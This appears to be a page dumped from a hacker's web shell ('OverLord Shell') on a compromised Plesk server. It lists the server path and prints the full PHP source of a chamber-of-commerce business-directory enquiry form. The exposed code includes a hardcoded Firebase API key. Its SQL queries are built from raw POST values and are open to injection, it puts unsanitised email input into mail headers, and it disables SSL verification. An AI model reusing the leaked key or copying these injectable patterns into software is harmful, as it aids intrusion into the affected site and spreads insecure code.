OverLord Shell

Path : G:/PleskVhosts/jaincensus.com/macciaweb.ultraliant.com/businessforum/
File Upload :
Current File : G:/PleskVhosts/jaincensus.com/macciaweb.ultraliant.com/businessforum/enquiry_save.php

<?php session_start();

if($_SERVER['REQUEST_METHOD']!='POST' || empty($_POST)){echo "404.php";exit;}
require_once("db/conn.php");
$sid=$_SESSION['company_id'];
$id=$_POST['id'];
$cid=$_POST['cid'];
$pid=$_POST['pid'];
$subject="Enquiry from businessdirectory.com";
$email=$_POST['email'];
$name=$_POST['name'];
$mobno=$_POST['mobno'];
$message=nl2br($_POST['message']);
$message.="<br><p>Phone No: ".$mobno."</p>";
$enquiry=$_POST['message'];
if(!empty($_POST['pid'])){
	$enq_from=NULL;
	$comm_id=NULL;
}else
{
if(!empty($_POST['subcatid'])){
	$enq_from='s';
	$comm_id=$_POST['subcatid'];

}else if(!empty($_POST['catid'])){
	$enq_from='c';
	$comm_id=$_POST['catid'];
	}else{
	$enq_from=NULL;
	$comm_id=NULL;
}
}


$uid=$_POST['uid'];

if(isset($_POST['fromcid'])){
	$from_compid=$_POST['fromcid'];
}else
{
	$from_compid=NULL;
}

//echo "SELECT * FROM busdir_product WHERE product_id=".$pid;exit;
if(!empty($pid))
{
$list1r=$connection->query("SELECT a.product_name,b.company_name FROM busdir_product a,busdir_mst_all_company b WHERE a.product_id='".$pid."' and a.my_company_id=b.my_company_id ");
$list1row=$list1r->fetch_assoc();
$list1r->free();
$company_name=$list1row['company_name'];
$prod_name=$list1row['product_name'];
}else
{
$company_name=$_POST['company_name'];
$prod_name=NULL;
}

    $enquiry =htmlentities(trim($_POST['message']),ENT_QUOTES);
   
    $patterns = array();
    $patterns[0] = '/([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)/';
    $patterns[1] = '/([0-9]+[\- ]?[0-9]{9}+)/';
	$patterns[2] = '/([0-9]{2,}-[0-9]{0,}-[0-9]{0,})/';
	$patterns[3] =  "/(http|https|ftp|ftps)\:\/\/[a-zA-Z0-9\-\.]+\.[a-zA-Z]{2,3}(\/\S*)?/";
	
    $replacements = array();
    $replacements[0] = '';
    $replacements[1] = '';
	$replacements[2] = '';
	$replacements[3] = '';

    //should use just one call of preg_replace for perfomance issues
    $enquiry = preg_replace($patterns, $replacements, $enquiry);

$data = array(
        'company_name' =>$company_name,
        'product_name' =>$prod_name,
        'company_id' => $cid,
		'name' => $name,
		'my_company_id' => $uid,
		'product_id' => $pid,
		'phone' => $mobno,
		'email' => $email,
		'enquiry' => $enquiry,	
		'comm_id'=>$comm_id,
		'enq_from'=>$enq_from,
		'enquiry_date' =>date('Y-m-d H:i:s'),
		'createdby' => $sid,
		'from_company_id' => $from_compid,
		'createdon' => date('Y-m-d H:i:s')
	);
	//print_r($data); exit;
	$insertresult = dbRowInsert('busdir_mst_product_enquiry', $data);
             $insertresultarr = explode("-",$insertresult);
			
       
	   if(!empty($_POST['subcatid'])){
	$enq_from='s';
	$comm_id=$_POST['subcatid'];
	
	 $emailsql="SELECT t5.company_enquiry_email  FROM `busdir_mst_subcategory` t1 INNER JOIN `busdir_mst_category` t2 ON t1.catid=t2.catid INNER JOIN busdir_product t3 ON  t3.catid=t2.catid  INNER JOIN busdir_mst_company t4 On t3.company_id=t4.company_id INNER JOIN busdir_mst_all_company t5 On t4.company_id=t5.company_id where t1.subcatid='".$comm_id."' group by t5.company_enquiry_email";
	
	$emailr=$connection->query($emailsql);
$emailinfo=array();
while($emailrow=$emailr->fetch_assoc()){
	array_push($emailinfo,$emailrow['company_enquiry_email']);	
}
$sendemail=implode(",", $emailinfo);
	
	 $listq="SELECT t4.token  FROM `busdir_mst_subcategory` t1 INNER JOIN `busdir_mst_category` t2 ON t1.catid=t2.catid INNER JOIN busdir_product t3 ON  t3.catid=t2.catid  INNER JOIN busdir_mst_company t4 On t3.company_id=t4.company_id where t1.subcatid='".$comm_id."' AND (t4.token is not null AND t4.token !='0' AND t4.token !='') ";
	 if(isset($_SESSION['company_id'])){
	$listq.=" AND t4.company_id !=".$_SESSION['company_id']." group by t4.company_id";
	}
	 
	$listr=$connection->query($listq);
$info=array();
while($listrow=$listr->fetch_assoc()){
	array_push($info,$listrow['token']);	
} 
$out=implode(",", $info);
$string='MACCIA : You have Product Enquiry';
$registatoin_ids = (explode(",",$out));
					$Title=$string;
					$xyz='genquiry_id';
					$lastid=$lastid;
					$json = $json . "{";
					$json = $json . "\"title\":\"$Title\",";
					$json = $json . "\"id\":\"$lastid\",";
					$json = $json . "\"type\":\"$xyz\"";
					$json = $json . "}";
//$out = implode(",",array_map(function($a) {return implode(",",$a);},$md));
}else if(!empty($_POST['catid'])){
	
	$emailsql="SELECT t4.company_enquiry_email FROM busdir_mst_category t1 INNER JOIN busdir_product t2 ON  t1.catid=t2.catid INNER JOIN busdir_mst_company t3 On t2.company_id=t3.company_id INNER JOIN busdir_mst_all_company t4 On t3.company_id=t4.company_id where t1.catid='".$comm_id."' group by t4.company_enquiry_email;";
	
	$emailr=$connection->query($emailsql);
$emailinfo=array();
while($emailrow=$emailr->fetch_assoc()){
	array_push($emailinfo,$emailrow['company_enquiry_email']);	
}
$sendemail=implode(",", $emailinfo);
//echo $sendemail;exit;	
	$info=array();
	$enq_from='c';
	$comm_id=$_POST['catid'];
	$listq="SELECT t3.token  FROM busdir_mst_category t1 INNER JOIN busdir_product t2 ON  t1.catid=t2.catid INNER JOIN busdir_mst_company t3 On t2.company_id=t3.company_id where t1.catid='".$comm_id."' AND (t3.token is not null AND t3.token !='0' AND t3.token !='') ";
	
	if(isset($_SESSION['company_id'])){
	$listq.=" AND t3.company_id !=".$_SESSION['company_id']." group by t3.company_id";
	}
	
	
	//echo $listq;exit;			
$listr=$connection->query($listq);
$info=array();
while($listrow=$listr->fetch_assoc()){
	array_push($info,$listrow['token']);	
}
$out=implode(",", $info);
$string='MACCIA : You have Product Enquiry';
$registatoin_ids = (explode(",",$out));
					$Title=$string;
					$xyz='genquiry_id';
					$lastid=$lastid;
					$json = $json . "{";
					$json = $json . "\"title\":\"$Title\",";
					$json = $json . "\"id\":\"$lastid\",";
					$json = $json . "\"type\":\"$xyz\"";
					$json = $json . "}";
//$out = implode(",",array_map(function($a) {return implode(",",$a);},$md));
	}else if(isset($_POST['pid'])){
	$enq_from=NULL;
	$comm_id=NULL;
	}else{
		
		
	$enq_from=NULL;
	$comm_id=NULL;
	
	if(isset($_SESSION['company_id'])){
	$emailsql="SELECT b.company_enquiry_email FROM busdir_mst_company a, busdir_mst_all_company b where a.company_id !=".$_SESSION['company_id']." and a.company_id=b.company_id";
	
	
	$emailr=$connection->query($emailsql);
$emailinfo=array();
$emailrow=$emailr->fetch_assoc();
	
$sendemail=$emailrow['company_enquiry_email'];
	}
	
	
	
	$listq="SELECT token from busdir_mst_company where (token is not null AND token !='0' AND token !='')";
	if(isset($_SESSION['company_id'])){
	$listq.=" AND company_id !=".$_SESSION['company_id']."";
	}
	$listr=$connection->query($listq);
$info=array();
while($listrow=$listr->fetch_assoc()){
	array_push($info,$listrow['token']);	
}
$out=implode(",", $info);
			
					$string='MACCIA : You have Product Enquiry';
					$registatoin_ids = (explode(",",$out));
					$Title=$string;
					$xyz='enquiry_id';
					$lastid=$lastid;
					$json = $json . "{";
					$json = $json . "\"title\":\"$Title\",";
					$json = $json . "\"id\":\"$lastid\",";
					$json = $json . "\"type\":\"$xyz\"";
					$json = $json . "}";
//$out = implode(",",array_map(function($a) {return implode(",",$a);},$md));
}
	   
	
	$message_= $json;

					$message1 = array("price" => $message_);
					//splitting reg_ids in group of 1000, and sending notifications
					$regids=array_chunk($registatoin_ids,1000);

					foreach($regids as $regid){
						
						$message = array(
									'registration_ids' => $regid,
									'data' => $message1
								);

						//@$result = $this->send_notification($message);
						
						define( 'FIREBASE_API_KEY', 'AAAAZcBAFsU:APA91bFLGC9T5p571eX7lFORkZkNq5KwY9z38dv8pfko3Vm7dMkjsUJtXBXXVobU-bHzwpHPW5q0SrFR5odPUT_4etOY6hFdw9bZOsg6vrHSrzIYo9ko0KEyuzVZ_tuMpzXooEn_xf2gVqbd0YxzB4b_RKyrkst1JQ' );
		 //importing the constant files
		   
        //firebase server url to send the curl request
        $url = 'https://fcm.googleapis.com/fcm/send';
 
        //building headers for the request
        $headers = array(
            'Authorization: key=' . FIREBASE_API_KEY,
            'Content-Type: application/json'
        );
 
        //Initializing curl to open a connection
        $ch_new = curl_init();
 
        //Setting the curl url
        curl_setopt($ch_new, CURLOPT_URL, $url);
        
        //setting the method as post
        curl_setopt($ch_new, CURLOPT_POST, true);
 
        //adding headers 
        curl_setopt($ch_new, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch_new, CURLOPT_RETURNTRANSFER, true);
 		// new line added 
		//curl_setopt($ch_new, CURLOPT_SSL_VERIFYHOST, 0);
        //disabling ssl support
        curl_setopt($ch_new, CURLOPT_SSL_VERIFYPEER, false);
       
        //adding the fields in json format 
        curl_setopt($ch_new, CURLOPT_POSTFIELDS, json_encode($message));
 
        //finally executing the curl request 
        $result = curl_exec($ch_new);
		
		//print_r($result);exit;
        if ($result === FALSE) {
            die('Curl failed: ' . curl_error($ch_new));
        }
 
        //Now close the connection
        curl_close($ch_new);
						

					}
					
					
		// send email to regarding email develop by chandrakant			
		if(!empty($sendemail)){	
		
		$from= "membership2@maccia.org.in";
		
        $to=$sendemail;
        $subject="MACCIA Business Network - Enquiry ";
		$headers  = 'From: <membership2@maccia.org.in>' . "\r\n" .
											'Reply-To: "'.$_POST['email'].'" ' . "\r\n" .
											'MIME-Version: 1.0' . "\r\n" .
											'Content-type: text/html; charset=iso-8859-1' . "\r\n" .
											'X-Mailer: PHP/' . phpversion();
											
					
					$body = '<html><body>';
								$body .='<div class="gmail_quote"><div dir="ltr">On '.date('Y-m-d H:i:s').' <b>'.$listrow['company_name'].'</b> - Product Enquiry &lt;<a href="mailto:.'.$_POST['email']. '" target="_blank"><wbr>'. $_POST['email']. '</a> &lt;wrote:<br></div><blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">
<div align="left">
  <table border="0" cellpadding="" cellspacing="0" width="654">
    <tbody><tr>
      <td valign="top" align="left" colspan="2" width="652"><img border="1" style=" background: #f9f7f7;"
src="https://maccia.org.in/businessforum/images/logo3.png" width="650" height="105" class="CToWUd"></td>
    </tr>
    <tr>
      <td width="231" valign="top" align="left" bgcolor="#CCCCCC">
        <div align="left">
          <table border="0" cellpadding="20" cellspacing="0" width="100%">
            <tbody><tr>
              <td width="100%" ><font face="Arial" size="5" color="#808080"><b>'. $subject. '</b></font>
                <p><font face="Arial" size="2">
                <i><b>Enquiry Date :</b></i><br>'.date('Y/m/d ').'<br><br>
				</font></p>
              </td>
            </tr>
          </tbody></table>
        </div>
      </td>
      <td width="419" valign="top" align="left">
        <div align="left">
          <table border="0" cellpadding="20" cellspacing="0">
            <tbody><tr>
              <td>
              	<p><font size="2" face="Arial"> <b>Congratulations! <br>You have recived a new Product Enquiry.</font></p>Be sure to follow up on this Product Enquiry right away! <br><p><b> Name : </b>'.$name.'<br/><b> Mobile : </b>'.$mobno.'<br/><b> Email : </b>'.$email.'<br/><b> Enquiry : </b>'.$enquiry.'<br/>  </p><p><font size="2" face="Arial">For additional information and to follow up with your Product Review,please log in to https://maccia.org.in/businessforum/login/<br><p><font size="2" face="Arial">Happy Connecting!</font><br>		
              </p></td>
            </tr>
          </tbody></table>
        </div>
      </td>
    </tr>
  </tbody></table>
</div>
<p><font face="Arial" size="4">&nbsp;</font></p>
<p><font face="Arial" size="4">
</font>
</p><div class="yj6qo"></div><div align="left">

</div>';
								
		     $body .= "</body></html>";
			 
			// echo $body;exit;
			 $mresponse = mail($to,$subject,$body,$headers);	
		}
					
	   
	   
	   
	   
	    $from= "membership2@maccia.org.in";
		
        $to=$_POST['company_email'];
        $subject="MACCIA Business Network - Enquiry ";
		$headers  = 'From: <membership2@maccia.org.in>' . "\r\n" .
											'Reply-To: "'.$_POST['email'].'" ' . "\r\n" .
											'MIME-Version: 1.0' . "\r\n" .
											'Content-type: text/html; charset=iso-8859-1' . "\r\n" .
											'X-Mailer: PHP/' . phpversion();
											
					
					$body = '<html><body>';
								$body .='<div class="gmail_quote"><div dir="ltr">On '.date('Y-m-d H:i:s').' <b>'.$listrow['company_name'].'</b> - Product Enquiry &lt;<a href="mailto:.'.$_POST['email']. '" target="_blank"><wbr>'. $_POST['email']. '</a> &lt;wrote:<br></div><blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">
<div align="left">
  <table border="0" cellpadding="" cellspacing="0" width="654">
    <tbody><tr>
      <td valign="top" align="left" colspan="2" width="652"><img border="1" style=" background: #f9f7f7;"
src="https://maccia.org.in/businessforum/images/logo3.png" width="650" height="105" class="CToWUd"></td>
    </tr>
    <tr>
      <td width="231" valign="top" align="left" bgcolor="#CCCCCC">
        <div align="left">
          <table border="0" cellpadding="20" cellspacing="0" width="100%">
            <tbody><tr>
              <td width="100%" ><font face="Arial" size="5" color="#808080"><b>'. $subject. '</b></font>
                <p><font face="Arial" size="2">
                <i><b>Enquiry Date :</b></i><br>'.date('Y/m/d ').'<br><br>
				</font></p>
              </td>
            </tr>
          </tbody></table>
        </div>
      </td>
      <td width="419" valign="top" align="left">
        <div align="left">
          <table border="0" cellpadding="20" cellspacing="0">
            <tbody><tr>
              <td>
              	<p><font size="2" face="Arial"> <b>Congratulations! <br>You have sent a new Product Enquiry.</font></p>Be sure to follow up on this Product Enquiry right away! <br><p><b> Name : </b>'.$name.'<br/><b> Mobile : </b>'.$mobno.'<br/><b> Email : </b>'.$email.'<br/><b> Enquiry : </b>'.$enquiry.'<br/>  </p><p><font size="2" face="Arial">For additional information and to follow up with your Product Review,please log in to https://maccia.org.in/businessforum/login/<br><p><font size="2" face="Arial">Happy Connecting!</font><br>		
              </p></td>
            </tr>
          </tbody></table>
        </div>
      </td>
    </tr>
  </tbody></table>
</div>
<p><font face="Arial" size="4">&nbsp;</font></p>
<p><font face="Arial" size="4">
</font>
</p><div class="yj6qo"></div><div align="left">

</div>';
								
		     $body .= "</body></html>";
			 
			// echo $body;exit;
			 $mresponse = mail($to,$subject,$body,$headers);

            // if($mresponse){
			 
		 
if($insertresultarr[0] =="success"){
	echo trim($insertresultarr[0].'~1');exit;}
	//}
	else  {echo trim($insertresultarr[0]);exit;}
 
$connection->close();

?>

					 

xRyukZ - Copyright 2k19